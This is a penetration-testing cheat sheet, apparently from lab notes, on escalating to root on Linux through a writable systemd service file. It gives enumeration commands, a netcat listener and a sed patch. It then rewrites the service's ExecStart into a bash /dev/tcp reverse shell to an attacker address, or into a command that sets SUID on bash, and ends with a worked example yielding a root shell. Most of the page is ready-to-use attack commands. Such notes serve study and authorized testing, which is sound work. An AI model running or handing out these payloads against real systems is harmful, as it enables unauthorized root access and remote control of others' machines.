systemd — Writable Service Privilege Escalation

Ctrl+F: systemd · systemctl · .service · ExecStart · daemon-reload · writable · spiderbackup

When: LinPEAS / manual enum shows write access to a .service file under /etc/systemd/system/ (or /lib/systemd/system/) and that unit runs as root. Edit ExecStart → reload → restart → root shell.

External: HackTricks — init, systemd, rc.d

Linux > 📌 4) Cron Jobs · Privesc Tools · pspy


📌 Detect

LinPEAS

Look for:

Permissions in init, init.d, systemd, and rc.d
You have write privileges over /etc/systemd/system/spiderbackup.service
The following files aren't owned by root: /etc/systemd/system/spiderbackup.service

Privesc Tools > LinPEAS

Manual

# List custom units
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/
 
# Writable .service files
find /etc/systemd/system /lib/systemd/system -name '*.service' -writable 2>/dev/null
 
# Who owns it / permissions
ls -la /etc/systemd/system/spiderbackup.service
 
# Does it run as root?
grep -E '^(User|ExecStart)=' /etc/systemd/system/spiderbackup.service
systemctl cat spiderbackup.service
systemctl status spiderbackup.service

Need: writable unit file + a way to daemon-reload and restart the service (often sudo systemctl …, NOPASSWD sudo, or reboot).


📌 Exploit — edit ExecStart → reverse shell

1. Kali — listener

nc -lvnp 4446

2. Target — backup then edit the service

Original example (spiderbackup.service):

[Unit]
Description=Spider Society Backup Service
After=network.target
 
[Service]
Type=simple
ExecStart=/usr/local/bin/backup.sh
User=root
Group=root
 
[Install]
WantedBy=multi-user.target

Replace ExecStart with a reverse shell (keep User=root):

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'
User=root
Group=root

Example:

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.227/4446 0>&1'

One-liner patch (if you only need ExecStart):

sed -i "s|^ExecStart=.*|ExecStart=/bin/bash -c 'bash -i \\>& /dev/tcp/ATTACKER_IP/4446 0>&1'|" /etc/systemd/system/spiderbackup.service

3. Reload and restart

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.service

Root reverse shell on your listener.

id
# uid=0(root) gid=0(root) groups=0(root)

Shell · Netcat


📌 Variations

SituationApproach
NOPASSWD systemctl restart fooEdit service → sudo systemctl daemon-reloadsudo systemctl restart foo
No sudo for systemctlWait for reboot / admin restart; or find timer that retriggers unit
Writable ExecStart script instead of .serviceAppend reverse shell or SUID to the script path referenced in unit
Type=oneshot servicesSame flow — runs once per restart
Alternative payloadExecStart=/bin/bash -c 'chmod +s /bin/bash' then bash -p after restart

Check sudo for systemctl

sudo -l
# (ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
# (ALL) NOPASSWD: /bin/systemctl

📌 Worked example — spiderbackup.service

LinPEAS → writable /etc/systemd/system/spiderbackup.service
  → edit ExecStart to bash reverse shell (User=root)
  → sudo systemctl daemon-reload
  → sudo systemctl restart spiderbackup.service
  → root shell on nc -lvnp 4446

📌 Quick cheat sheet

# Find writable units
find /etc/systemd/system -name '*.service' -writable 2>/dev/null
grep -E '^(User|ExecStart)=' /etc/systemd/system/*.service
 
# Kali
nc -lvnp 4446
 
# Edit ExecStart in writable .service → then:
sudo systemctl daemon-reload
sudo systemctl restart spiderbackup.service


📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

Linux > 📌 1) Basic Manual Enumeration